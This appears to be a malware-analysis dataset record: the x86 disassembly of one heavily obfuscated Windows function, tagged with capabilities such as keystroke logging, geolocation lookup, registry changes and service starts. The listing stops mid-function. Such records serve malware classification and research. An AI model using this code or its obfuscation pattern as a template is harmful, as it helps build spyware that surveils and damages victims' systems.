Function at 0x1000b6f2
Capabilities:
Accept command line arguments
Check os version
Clear file content
Connect pipe
Create pipe
Create thread
Delete directory
Delete file
Delete registry value
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get file attributes
Get geographical location
Get memory capacity
Get system information on windows
Log keystrokes
Parse pe header
Query environment variable
Query service status
Read .ini file
Set registry value
Start service
Terminate process

Disassembly:
mov eax, 0x100845fd
call fcn.10083d50
mov eax, 0x13d4
call fcn.10081a80
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x3c], 0x596960f5
push 3
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0x4d], dl
cmp dword [ebp - 0x10], ecx
jge 0x1000b73b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x168], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000b723
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_DestroyCursor]
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000b74f
push eax
call edi
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0xfffffffffffffff6
pop edx
push 1
mov dword [ebp - 0x3c], eax
pop ecx
jmp 0x1000b90a
mov dword [ebp - 0x20], 0x7fa5c62e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x1000b8e5
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0xb5cfda6c
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000b7b0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe34], 0xfb49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1000b797
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x1000b8cb
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x168]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x20]
je 0x1000b80c
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x168], 0
je 0x1000b80c
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1000b810
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
push 3
mov edx, dword [ebp + eax*4 - 0x168]
xor eax, eax
test ecx, ecx
setne al
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x336d
setge al
xor edx, edx
cmp eax, 0xfffffff6
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
pop eax
setne cl
add ecx, 0xce3d978
cmp eax, ecx
push 1
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
xor eax, eax
inc eax
mov dword [ebp - 0xe30], eax
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x40], 0xd9e9
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x40]
add eax, ecx
mov ecx, dword [ebp - 0x3c]
add ecx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x160]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x48], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
pop ecx
push 0xfffffffffffffff6
pop edx
jle 0x1000b7bd
mov eax, dword [ebp - 0x20]
push 0
mov eax, dword [ebp + eax*4 - 0x168]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
pop eax
jle 0x1000b77d
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000b901
push 0xa09
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
xor eax, eax
inc dword [ebp - 0x3c]
push 1
pop ecx
push 0xfffffffffffffff6
pop edx
cmp dword [ebp - 0x3c], 2
jle 0x1000b769
mov dword [ebp - 0x3c], 0x596960f5
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1000b93e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1ec], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000b926
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000b94c
push eax
call edi
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1000baea
mov dword [ebp - 0x20], 0x7fa5c62e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x1000bacb
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0xb5cfda6c
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000b99b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe48], 0xfb49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1000b982
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1000baa7
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x20]
je 0x1000b9f8
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1ec], 0
je 0x1000b9f8
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1000b9fc
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
push 3
mov edx, dword [ebp + eax*4 - 0x1ec]
xor eax, eax
test ecx, ecx
setne al
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x336d
setge al
xor edx, edx
cmp eax, 0xfffffff6
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
pop eax
setne cl
add ecx, 0xce3d978
cmp eax, ecx
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
xor eax, eax
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x40], 0xd9e9
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x40]
add eax, ecx
mov ecx, dword [ebp - 0x3c]
add ecx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x1e4]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x48], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1000b9a3
mov eax, dword [ebp - 0x20]
push 0
mov eax, dword [ebp + eax*4 - 0x1ec]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
pop eax
jle 0x1000b968
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000bae7
push 0xa09
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jle 0x1000b954
mov dword [ebp - 0x3c], 0x596960f5
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1000bb1e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1bc], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1000bb06
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000bb2c
push eax
call edi
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1000bcca
mov dword [ebp - 0x20], 0x7fa5c62e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x1000bcab
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0xb5cfda6c
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000bb7b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xee0], 0xfb49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1000bb62
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1000bc87
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1bc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x20]
je 0x1000bbd8
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x1bc], 0
je 0x1000bbd8
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1000bbdc
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
push 3
mov edx, dword [ebp + eax*4 - 0x1bc]
xor eax, eax
test ecx, ecx
setne al
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x336d
setge al
xor edx, edx
cmp eax, 0xfffffff6
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
pop eax
setne cl
add ecx, 0xce3d978
cmp eax, ecx
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
xor eax, eax
inc eax
mov dword [ebp - 0xedc], eax
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x40], 0xd9e9
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1b4]
add eax, ecx
mov ecx, dword [ebp - 0x3c]
add ecx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x1b4]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x48], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x1000bb83
mov eax, dword [ebp - 0x20]
push 0
mov eax, dword [ebp + eax*4 - 0x1bc]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
pop eax
jle 0x1000bb48
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000bcc7
push 0xa09
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jle 0x1000bb34
mov dword [ebp - 0x1c], 0xbc662a2b
mov dword [ebp - 0x10], 0x7d50f82b
mov dword [ebp - 0x40], 0x260d
mov dword [ebp - 0x48], 0xfffffff8
push 4
mov dword [ebp - 0x34], eax
pop ecx
cmp dword [ebp - 0x34], ecx
jge 0x1000bd13
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x1000], 0x37400631
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1000bcfb
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1000bd31
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x810], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1000bd1c
xor eax, eax
cmp dword [ebp - 0xff8], eax
jne 0x1000bd45
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xff4]
xor edx, edx
inc dword [ebp - 0x80c]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x1c]
imul ecx, eax
mov eax, dword [ebp - 0x40]
push 3
pop esi
push esi
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
setg dl
sub eax, edx
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xfe6b87c2
lea ecx, [ebp - 0x698]
setg dl
cmp eax, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x3c], 0x69ad59e5
mov dword [ebp - 0x10], 0x2a77b69c
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0xc00d4b3b
mov dword [ebp - 0x1c], eax
jmp 0x1000bdde
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x698]
call fcn.10028dbd
mov dword [eax], 0x84e2bba6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1000bdc7
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1000bfe7
inc eax
lea ecx, [ebp - 0x404]
push eax
call fcn.10028d1f
xor ecx, ecx
xor eax, eax
inc ecx
mov byte [ebp - 4], cl
mov dword [ebp - 0x1c], 0xfb1af9d6
mov dword [ebp - 0x40], 0x92079655
mov dword [ebp - 0x48], 0xf916744f
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1000be4e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x404]
call fcn.10028dbd
mov dword [eax], 0x8bea1220
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1000be2d
xor eax, eax
mov dword [ebp - 0x30], 0x16
jmp 0x1000be87
cmp dword [ebp - 0x3c], eax
jl 0x1000be84
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x404]
call fcn.10028dbd
cmp dword [eax], 0
jne 0x1000be82
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x404]
call fcn.10028dbd
dec dword [ebp - 0x3c]
jns 0x1000be5c
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
mov dword [ebp - 0x3c], eax
jl 0x1000be57
cmp dword [ebp - 0x3c], 0xffffffea
je 0x1000bfda
jmp 0x1000be9e
xor eax, eax
xor esi, esi
mov dword [ebp - 0x10], 0x884515fd
inc esi
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], 0xec8e12b6
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
xor edx, edx
sub ecx, dword [ebp - 0x10]
cmp ecx, dword [eax]
mov ecx, 0xe6b93388
mov eax, dword [ebp - 0x1c]
setg dl
add eax, edx
neg eax
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
jne 0x1000bef3
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1000bef5
mov esi, eax
jmp 0x1000bef5
xor eax, eax
push eax
lea ecx, [ebp - 0x404]
call fcn.10028dbd
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x404]
xor eax, eax
push eax
call fcn.10028dbd
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
sub eax, 0x6042
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
je 0x1000bf42
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1000bf44
lea edx, [eax + 1]
jmp 0x1000bf46
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
test ecx, ecx
sets al
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x1839
jg 0x1000bf66
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x404]
xor eax, eax
push eax
call fcn.10028dbd
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0x698]
push 2
call fcn.10028dbd
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x2c]
cmp esi, eax
sete cl
cmp ecx, dword [ebp - 0x18]
je 0x1000bf9b
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x28], 0x978
xor ecx, ecx
add eax, 0x6fac8ef8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, 0xb23f
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
sub eax, 0x9b20
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffea
jne 0x1000be9c
push 3
pop esi
lea ecx, [ebp - 0x404]
call fcn.10028da1
jmp 0x1000c028
mov dword [ebp - 0x1c], 0x4e19c781
lea ecx, [ebp - 0x698]
mov eax, dword [ebp - 0x10]
push 2
call fcn.10028dbd
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x698]
xor eax, eax
inc eax
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x698]
mov eax, dword [ebp - 0x10]
push 2
call fcn.10028dbd
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x698]
call fcn.10028da1
mov dword [ebp - 0x2c], 0xffffffff
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x40], 0x3817d1dc
mov dword [ebp - 0x10], eax
inc ecx
cmp dword [ebp - 0x10], ecx
jge 0x1000c070
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcc4], 0xfffffffe
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1000c052
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000c0ee
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x44], 0x488f4f3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x1a
jne 0x1000c0e8
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov dword [ebp - 0x1c], 0x998ab545
mov eax, dword [ebp - 0x48]
neg eax
cmp ecx, eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x2c]
je 0x1000c0b3
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1000c0e6
jmp 0x1000c0d7
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x28], 0x77cc4247
mov dword [ebp - 0x44], 0x795ed7c6
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x40]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x1a
push 0
pop eax
push 1
pop ecx
je 0x1000c088
xor eax, eax
inc dword [ebp - 0x2c]
push 1
pop ecx
cmp dword [ebp - 0x2c], 0xf
jge 0x1000c075
movdqa xmm0, xmmword [0x1000a570]
lea eax, [ebp - 0xf10]
push eax
lea eax, [ebp - 0xf20]
push eax
lea ecx, [ebp - 0x11a8]
movdqu xmmword [ebp - 0xf20], xmm0
call fcn.10028dcc
lea ecx, [ebp - 0x25d]
mov esi, eax
call fcn.1000b6ea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x898]
push dword [esi]
call fcn.10028d7b
push 2
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x6c8]
mov dword [ebp - 0x10], 0x7dd68876
xor esi, esi
mov dword [ebp - 0x10], 0xf3d4210e
inc esi
mov dword [ebp - 0x2c], 0x6b471dfd
mov dword [ebp - 0x1c], esi
push eax
call fcn.10028d1f
push 3
pop ecx
mov byte [ebp - 4], cl
mov dword [ebp - 0x48], 5
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x40], 0xe0c23782
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c1aa
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x358], 0xfffffff7
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000c18c
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1000c1ca
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe70], 0x74e80031
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000c1b2
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1000c1e6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6c8]
call fcn.10028dbd
mov dword [eax], 0xdfbc43c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000c1cf
push esi
lea ecx, [ebp - 0x898]
call fcn.10028dbd
push esi
lea ecx, [ebp - 0x898]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
xor edx, edx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x6c8]
setle dl
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xe70]
call fcn.10028dbd
xor ecx, ecx
mov dword [ebp - 0x10], 0xfffffffb
mov eax, dword [ebp - 0x10]
cmp eax, 0x3b7c39c9
push esi
setle cl
mov dword [ebp - 0x358], ecx
lea ecx, [ebp - 0x6c8]
call fcn.10028dbd
cmp dword [ebp - 0xe70], 0x88d5
jne 0x1000c26d
xor eax, eax
cmp dword [ebp - 0x358], eax
jne 0x1000c26d
cmp dword [ebp - 0x48], eax
jne 0x1000c26d
mov ecx, eax
jmp 0x1000c275
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
sub ecx, eax
inc ecx
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x898]
mov eax, dword [ebp - 0x40]
push 2
call fcn.10028dbd
inc dword [ebp - 0x1c]
lea ecx, [ebp - 0x6c8]
push esi
call fcn.10028dbd
mov ecx, dword [ebp - 0x2c]
xor edx, edx
cmp edx, ecx
sbb ecx, ecx
neg ecx
cmp ecx, dword [eax]
je 0x1000c2cb
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000c2d5
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x1000c2d5
mov dword [ebp - 0x40], 0x3f0a
dec dword [ebp - 0x40]
lea ecx, [ebp - 0x6c8]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x898]
call fcn.10028da1
mov dword [ebp - 0x3c], 0x596960f5
lea ecx, [ebp - 0x390]
push 2
call fcn.10028d1f
mov dword [ebp - 4], 4
lea ecx, [ebp - 0xb88]
mov dword [ebp - 0x34], 5
push esi
call fcn.10028d1f
mov byte [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x10], 0xa165f5c9
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x1000c352
push dword [ebp - 0x20]
lea ecx, [ebp - 0x390]
call fcn.10028dbd
mov dword [eax], 0x6432a276
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000c333
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c37b
push dword [ebp - 0x20]
lea ecx, [ebp - 0xb88]
call fcn.10028dbd
mov dword [eax], 0xd0e72ee7
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000c35a
xor eax, eax
mov dword [ebp - 0x20], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x20], eax
jge 0x1000c39f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x6b8], 0
xor eax, eax
inc dword [ebp - 0x20]
inc eax
cmp dword [ebp - 0x20], eax
jl 0x1000c386
push eax
lea ecx, [ebp - 0x390]
call fcn.10028dbd
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x390]
xor eax, eax
inc eax
push eax
call fcn.10028dbd
mov esi, eax
lea ecx, [ebp - 0x390]
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [esi]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x390]
setg bl
xor esi, esi
inc esi
push esi
call fcn.10028dbd
xor ecx, ecx
cmp dword [eax], esi
setge cl
xor eax, eax
imul ecx, ebx
test ecx, ecx
je 0x1000c4ec
xor ebx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x34], eax
inc ebx
jmp 0x1000c4e1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1000c429
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x14c], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1000c410
xor eax, eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], ebx
jg 0x1000c4d2
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
je 0x1000c452
mov eax, dword [ebp - 0x14c]
xor eax, eax
push eax
lea ecx, [ebp - 0xb88]
call fcn.10028dbd
mov ecx, dword [ebp - 0x48]
xor edx, edx
push dword [ebp - 0x34]
cmp ecx, ebx
lea ecx, [ebp - 0x390]
setge dl
xor ebx, ebx
cmp edx, dword [eax]
setge bl
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
xor edx, edx
push dword [ebp - 0x14c]
cmp ebx, ecx
lea ecx, [ebp - 0x390]
mov esi, dword [eax]
setg dl
sub esi, edx
call fcn.10028dbd
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000c4ba
push 0x2ab
push eax
push 0x11cd
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
inc dword [ebp - 0x14c]
xor ebx, ebx
inc ebx
push 0
pop eax
cmp dword [ebp - 0x14c], ebx
jle 0x1000c43b
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x148], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1000c407
jmp 0x1000c521
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x1000c51e
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000c519
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000c514
push eax
push 0x19ff
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
xor eax, eax
dec dword [ebp - 0x34]
jns 0x1000c4fc
inc dword [ebp - 0x10]
jmp 0x1000c4ef
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xb88]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x390]
call fcn.10028da1
mov dword [ebp - 0x3c], 0x60b0ceaf
mov dword [ebp - 0x44], 0xfffffffd
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], 0xb275cf8
push 4
